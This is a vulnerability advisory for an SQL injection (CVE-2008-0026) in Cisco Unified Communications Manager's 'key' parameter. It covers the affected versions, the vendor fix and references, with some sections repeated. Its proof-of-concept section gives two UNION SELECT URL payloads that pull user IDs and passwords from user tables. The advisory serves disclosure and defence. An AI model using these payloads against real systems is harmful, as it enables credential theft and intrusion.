Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
BID:27775
Info
Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27775 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0026 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 13 2008 12:00AM |
| Updated: | Feb 21 2008 09:53PM |
| Credit: | Nico Leidecker and Tracey Parry at Portcullis Computer Security Limited are credited with discovering this vulnerability. |
| Vulnerable: |
Cisco Unified Communications Manager 6.1 Cisco Unified Communications Manager 6.0(1) Cisco Unified Communications Manager 6.0 (1a) Cisco Unified Communications Manager 6.0 Cisco Unified Communications Manager 5.1(2b) Cisco Unified Communications Manager 5.1(2a) Cisco Unified Communications Manager 5.1(2) Cisco Unified Communications Manager 5.1(1) Cisco Unified CallManager 6.0 Cisco Unified CallManager 5.1 Cisco Unified CallManager 5.0(4a)SU1 Cisco Unified CallManager 5.0(4) Cisco Unified CallManager 5.0(3a) Cisco Unified CallManager 5.0(3) Cisco Unified CallManager 5.0(2) Cisco Unified CallManager 5.0(1) Cisco Unified CallManager 5.0 |
| Not Vulnerable: |
Cisco Unified Communications Manager 6.1(1a) Cisco Unified Communications Manager 5.1(3a) |
Discussion
Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
Cisco Unified Communications Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is tracked by Cisco bug ID CSCsk64286.
This issue affects the following:
Cisco Unified Communication Manager 5.0/5.1 prior to 5.1(3a)
Cisco Unified Communication Manager 6.0/6.1 prior to 6.1(1a)
Cisco Unified Communications Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is tracked by Cisco bug ID CSCsk64286.
This issue affects the following:
Cisco Unified Communication Manager 5.0/5.1 prior to 5.1(3a)
Cisco Unified Communication Manager 6.0/6.1 prior to 6.1(1a)
Exploit / POC
Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
An attacker can exploit this issue via a browser.
The following examples are available:
https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','',firstname,lastname,userid,password+from+enduser;--
https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','','',user,'',password+from+applicationuser;--
An attacker can exploit this issue via a browser.
The following examples are available:
https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','',firstname,lastname,userid,password+from+enduser;--
https://www.example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+
SELECT+'','','',user,'',password+from+applicationuser;--
Solution / Fix
Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
Solution:
Cisco has released an advisory and updates to address this issue. Please contact the vendor for information on obtaining and applying the updates.
Solution:
Cisco has released an advisory and updates to address this issue. Please contact the vendor for information on obtaining and applying the updates.
References
Cisco Unified Communications Manager 'key' Parameter SQL Injection Vulnerability
References:
References:
- Cisco Unified Communications Homepage (Cisco)
- Cisco Security Advisory: SQL injection in Cisco Unified Communications Manager (Cisco Systems Product Security Incident Response Team
- Multiple SQL Injections In Cisco Call Manager User And Admin Interface (Portcullis Computer Security)